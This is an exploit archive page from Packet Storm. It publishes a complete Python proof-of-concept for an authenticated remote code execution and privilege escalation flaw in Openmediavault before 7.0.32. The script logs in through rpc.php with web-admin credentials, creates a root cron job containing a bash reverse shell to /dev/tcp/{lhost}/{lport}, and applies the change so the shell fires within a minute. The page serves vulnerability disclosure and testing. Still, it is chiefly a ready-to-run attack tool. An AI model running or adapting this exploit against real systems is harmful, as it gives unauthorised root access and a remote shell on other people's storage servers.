what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Openmediavault Remote Code Execution / Local Privilege Escalation

Openmediavault Remote Code Execution / Local Privilege Escalation
Posted May 9, 2024
Authored by Mert BENADAM

Openmediavault versions prior to 7.0.32 have a vulnerability that occurs when users in the web-admin group enter commands on the crontab by selecting the root shell. As a result of exploiting the vulnerability, authenticated web-admin users can run commands with root privileges and receive reverse shell connections.

tags | exploit, web, shell, root
SHA-256 | f54e108c3e072e69c000f9759d386e86aae92493e17fbe4348a5bdd7b5278328

Openmediavault Remote Code Execution / Local Privilege Escalation

Change Mirror Download
# Exploit Title: Openmediavault < 7.0.32 Authenticated RCE & Local Privilege Escalation
# Date: 08.05.2024
# Exploit Author: Mert BENADAM
# Vendor Homepage: https://www.openmediavault.org/
# Software Link: https://sourceforge.net/projects/openmediavault/
# Version: < 7.0.32
# Tested on: OMV 7.0.32 & 6.5 @Virtual Machine
# Description: OpenMediaVault is the next generation network attached storage (NAS) solution based on Debian Linux.


# Special Thx: k3yZ :)
"""
PoC:
This vulnerability occurs when users in the web-admin group enter commands on the crontab by selecting the root shell.
As a result of exploiting the vulnerability,authenticated web-admin users can run commands with root privileges and receive reverse shell connections.
It can also be used in privilege escalation attacks on local systems.
"""

import argparse
import requests
import json

def login(ip_address, username, password, lhost, lport):
try:
login_data = {
"service": "Session",
"method": "login",
"params": {
"username": username,
"password": password
},
"options": None
}

url = f"http://{ip_address}/rpc.php"

response = requests.post(url, json=login_data)

if response.status_code == 200:
print("Login Success , Checking User Privilages...")
post_check(ip_address, response.cookies, lhost , lport)
else:
print("login Failed, Probably Wrong User Credentials...")

print("Reason:")
print(response.json())

except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Unexpected Error:", e)

def post_check(ip_address, cookies, lhost, lport):
try:
post_data = {
"service": "Cron",
"method": "getList",
"params": {
"type": ["userdefined"],
"start": 0,
"limit": -1
},
"options": None
}

url = f"http://{ip_address}/rpc.php"
response = requests.post(url, json=post_data, cookies=cookies)



if response.status_code == 200:
print("Accesing Crons...OK")
send_post(ip_address, cookies, lhost , lport)


elif response.status_code == 403:
print("Kullanıcı yetkili değil.")
else:
print("Post Request Failure...")

except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Beklenmeyen bir hata oluştu:", e)

def send_post(ip_address, cookies, lhost , lport):
try:


post_data = {
"service": "Cron",
"method": "set",
"params": {
"uuid": "fa4b1c66-ef79-11e5-87a0-0002b3a176b4", # UUID
"enable": True,
"execution": "exactly",
"minute": ["*"],
"everynminute": False,
"hour": ["*"],
"everynhour": False,
"dayofmonth": ["*"],
"everyndayofmonth": False,
"month": ["*"],
"dayofweek": ["*"],
"username": "root",
"command": f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'", # Command From User
"sendemail": False,
"comment": "",
"type": "userdefined"
},
"options": None
}

url = f"http://{ip_address}/rpc.php"
response = requests.post(url, json=post_data, cookies=cookies)

if response.status_code == 200:
print("Payload Sent... OK,")
update(ip_address, cookies)
elif response.status_code == 403:
print("User Not Authrorized.")
else:
print("Something Wrong.CHECK your version...")


except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Unexpected Error:", e)


def update(ip_address, cookies):
try:

post_data = {
"service": "Config",
"method": "applyChangesBg",
"params": {
"modules": [],
"force": False
},
"options": None
}


url = f"http://{ip_address}/rpc.php"

response = requests.post(url, json=post_data, cookies=cookies)

if response.status_code == 200:
print("Updating crontabs...")
print("Successfully Exploited...")
print("Exploited Shell Will Be Triggered In 1 Minute, Check Your Listener...")
print("Warning: Make sure You Open a listener And Enter Correct IP-PORT Information...")
elif response.status_code == 403:
print("User Not Authrorized.")
else:
print("Someting Wrong. Check version...")

except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Unexpected Error:", e)


def main():
font="""

███╗ ██╗ ██████╗ ███╗ ███╗███████╗██████╗ ██████╗██╗ ██╗ ██████╗ ██████╗
████╗ ██║██╔═══██╗████╗ ████║██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔═████╗██╔═████╗
██╔██╗ ██║██║ ██║██╔████╔██║█████╗ ██████╔╝██║ ╚████╔╝ ██║██╔██║██║██╔██║
██║╚██╗██║██║ ██║██║╚██╔╝██║██╔══╝ ██╔══██╗██║ ╚██╔╝ ████╔╝██║████╔╝██║
██║ ╚████║╚██████╔╝██║ ╚═╝ ██║███████╗██║ ██║╚██████╗ ██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝

"""
parser = argparse.ArgumentParser(description="OpenMediaVault 7.0.32 > 6.5.0 RCE And Local Privilage Escalation")
parser.add_argument("-U", "--ip", type=str, help="Victim Ip Adress", required=False)
parser.add_argument("-u", "--username", type=str, help="Username For Web Admin", required=False)
parser.add_argument("-p", "--password", type=str, help="Password For Web Admin", required=False)
parser.add_argument("-L", "--lhost", type=str, help="Listener IP Adress For Reverse Shell", required=False)
parser.add_argument("-P", "--lport", type=str, help="Listener Port For Reverse Shell", required=False)

args = parser.parse_args()

if args.ip and args.username and args.password and args.lhost and args.lport:
print(font)
login(args.ip, args.username, args.password, args.lhost , args.lport)
else:
print(font)
parser.print_help()

if __name__ == "__main__":
main()


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    22 Files
  • 31
    May 31st
    18 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close